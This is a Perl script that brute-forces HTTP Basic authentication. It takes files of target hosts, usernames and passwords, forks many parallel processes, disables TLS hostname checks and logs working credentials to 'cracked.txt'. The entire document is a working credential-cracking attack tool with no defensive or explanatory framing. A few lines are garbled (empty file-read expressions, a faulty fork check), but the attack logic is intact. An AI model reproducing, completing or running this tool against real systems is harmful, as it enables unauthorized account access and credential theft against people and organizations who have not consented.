#!/usr/bin/perl use Parallel::ForkManager; use LWP::UserAgent; use MIME::Base64; #my $user = "admin"; my $ips = $ARGV[0]; my $users = $ARGV[1]; my $passwords = $ARGV[2]; my $max_processes = "10"; #wwwadmin open( IPS, "<$ips") || die " Cannot open the word file : $ips ! \n"; chomp(@ipslist = ); close(IPS); open( USERS, "<$users") || die " Cannot open the word file : $users ! \n"; chomp(@userlist = ); close(USERS); my @foundip; my @cracked; my $i = 0; my $forkmanager = new Parallel::ForkManager->new("1000"); $forkmanager->run_on_finish(sub { # must be declared before first 'start' my ($pid, $exit_code, $ident, $exit_signal, $core_dump, $data) = @_; $out{ $data->[0] } = $data->[1]; #print "[onfinish]". $data->[0] ."\n"; if (($data->[1] == -1) or ($data->[1] == 1)) { push(@foundip,$data->[0]); } }); my $foundstring; my $cnt =0; my $match_found = 0; foreach $host (@ipslist) { print "\n==new Host===\n"; print $host . " - "; foreach $user (@userlist) { print "\n==new User===\n"; print $user . " - "; my $pid; $pid=fork(); if($pid>0){ $npids++; #print " Processes are: $npids\n" ; if($npids>=$max_processes){ for(1..($max_processes)){ my $wait_ret=wait(); if($wait_ret>0){ $npids--; } } } next; }elsif(undef $pid){ print " Fork error!\n"; exit(0); }else{ local $SIG{'ALRM'} = sub { exit(0); }; alarm 0; eval { $i++; $cnt =0; #print "\nFOUND:\n@foundip\n"; my $rez = 0; open($foundipFILE, "< $passwords"); while (<$foundipFILE>) { $line = $_; $line =~ s/\x0a//g; if (!grep {$_ eq $line} @foundip) { $cnt++; my $pid = $forkmanager->start and next; if((&crack($host,$user,$line)) == 1){ print "$host $user $line\n"; } else { print "[$cnt] [$line] failed with $user and $host \n"; } sleep(1); $forkmanager->finish(0, [ $line, $rez ]); # Child exits }else{ #print "!!!!! $line was here\n"; } } close($foundipFILE); }; exit(0); } } } for(1..$npids){ my $wt=wait(); if($wt==-1){ print " is $!\n"; redo; } } # # $forkmanager->wait_all_children(); print "\n!!!!! FINISH !!!!!!\n"; sub crack{ my @parms = @_; my $url=$parms[0]; my $user=$parms[1]; my $pass=$parms[2]; my $info = "$user:$pass"; my $encode = encode_base64($info); my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 },); my $res = $ua->get("$url", Authorization => "Basic $encode"); my $code = $res->status_line(); my $head = $res->as_string(); if($res->is_success) { if ($code =~ m/200/i){ print "\ncracked \n$url\n$code\n$info\n"; open(OUTPUT,">>cracked.txt"); print OUTPUT "$url $user $pass\n"; close (OUTPUT); return 1; } } else{ return 0; } }